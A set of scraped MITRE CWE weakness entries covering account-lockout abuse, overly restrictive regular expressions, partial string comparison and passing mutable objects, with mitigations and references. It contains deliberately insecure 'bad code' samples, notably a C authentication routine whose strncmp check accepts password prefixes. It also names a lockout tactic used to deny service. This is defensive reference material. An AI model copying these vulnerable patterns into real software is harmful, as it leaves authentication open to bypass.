+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROut-of-bounds Read
CERT C Secure CodingARR30-CImpreciseDo not form or use out-of-bounds pointers or array subscripts
CERT C Secure CodingARR38-CImpreciseGuarantee that library functions do not form invalid pointers
CERT C Secure CodingEXP39-CImpreciseDo not access a variable through a pointer of an incompatible type
CERT C Secure CodingSTR31-CImpreciseGuarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure CodingSTR32-CCWE More AbstractDo not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-1034] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". ACM. 2009-03-31. <https://dl.acm.org/doi/10.1145/1519144.1519145>. URL validated: 2023-04-07.
[REF-1035] Fermin J. Serna. "The info leak era on software exploitation". 2012-07-25. <https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITRE
updated Description
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Observed_Examples, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Description
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2019-09-19CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2020-12-10CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID: 645
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.
+ Extended Description
Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1216Lockout Mechanism Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1017Lock Computer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

Users could be locked out of accounts.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

+ Potential Mitigations

Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Enabling_Factors_for_Exploitation, Relationships
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-186: Overly Restrictive Regular Expression

Weakness ID: 186
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A regular expression is overly restrictive, which prevents dangerous values from being detected.
+ Extended Description
This weakness is not about regular expression complexity. Rather, it is about a regular expression that does not match all values that are intended. Consider the use of a regexp to identify acceptable values or to spot unwanted terms. An overly restrictive regexp misses some potentially security-relevant values leading to either false positives *or* false negatives, depending on how the regexp is being used within the code. Consider the expression /[0-8]/ where the intention was /[0-9]/. This expression is not "complex" but the value "9" is not matched when maybe the programmer planned to check for it.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.185Incorrect Regular Expression
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.183Permissive List of Allowed Inputs
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
MIE. ".php.ns" bypasses ".php$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache)
+ Potential Mitigations

Phase: Implementation

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Can overlap allowlist/denylist errors (CWE-183/CWE-184)
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROverly Restrictive Regular Expression
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Description
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2020-06-25CWE Content TeamMITRE
updated Relationship_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-187: Partial String Comparison

Weakness ID: 187
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.
+ Extended Description
For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1023Incomplete Comparison with Missing Factors
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.625Permissive Regular Expression
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.185Incorrect Regular Expression
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Access Control

Technical Impact: Alter Execution Logic; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

(bad code)
Example Language:

/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */

char *username = "admin";
char *pass = "password";

int AuthenticateUser(char *inUser, char *inPass) {
if (strncmp(username, inUser, strlen(inUser))) {
logEvent("Auth failure of username using strlen of inUser");
return(AUTH_FAIL);
}
if (! strncmp(pass, inPass, strlen(inPass))) {
logEvent("Auth success of password using strlen of inUser");
return(AUTH_SUCCESS);
}
else {
logEvent("Auth fail of password using sizeof");
return(AUTH_FAIL);
}
}

int main (int argc, char **argv) {
int authResult;

if (argc < 3) {
ExitError("Usage: Provide a username and password");
}
authResult = AuthenticateUser(argv[1], argv[2]);
if (authResult == AUTH_SUCCESS) {
DoAuthenticatedTask(argv[1]);
}
else {
ExitError("Authentication failed");
}
}

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

(attack code)
 
p
pa
pas
pass

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

+ Observed Examples
ReferenceDescription
Product does not prevent access to restricted directories due to partial string comparison with a public directory
Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption.
Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates.
One-character password by attacker checks only against first character of real password.
One-character password by attacker checks only against first character of real password.
+ Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPartial Comparison
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Other_Notes, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2018-03-27CWE Content TeamMITRE
updated Name, Observed_Examples, Relationships, Type
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2018-03-27Partial Comparison

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID: 374
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product sends non-cloned mutable data as an argument to a method or function.
+ Extended Description
The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.371State Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Memory

Potentially data could be tampered with by another function which should not have been tampered with.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
private:
int foo;
complexType bar;
String baz;
otherClass externalClass;


public:
void doStuff() {
externalClass.doOtherStuff(foo, bar, baz)
}

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

Example 2

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

(bad code)
Example Language: Java 
public class BookStore {
private BookStoreInventory inventory;
private SalesDBManager sales;
...
// constructor for BookStore
public BookStore() {
this.inventory = new BookStoreInventory();
this.sales = new SalesDBManager();
...
}
public void updateSalesAndInventoryForBookSold(String bookISBN) {

// Get book object from inventory using ISBN
Book book = inventory.getBookWithISBN(bookISBN);
// update sales information for book sold
sales.updateSalesInformation(book);
// update inventory
inventory.updateInventory(book);
}
// other BookStore methods
...
}
public class Book {
private String title;
private String author;
private String isbn;
// Book object constructors and get/set methods
...
}

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

(good code)
Example Language: Java 
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {

// Get book object from inventory using ISBN
Book book = inventory.getBookWithISBN(bookISBN);
// Create copy of book object to make sure contents are not changed
Book bookSold = (Book) book.clone();
// update sales information for book sold
sales.updateSalesInformation(bookSold);
// update inventory
inventory.updateInventory(book);
}
...
+ Potential Mitigations

Phase: Implementation

Pass in data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPPassing mutable objects to an untrusted method
The CERT Oracle Secure Coding Standard for Java (2011)OBJ04-JProvide mutable classes with copy functionality to safely allow passing instances to untrusted code
Software Fault PatternsSFP23Exposed Data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
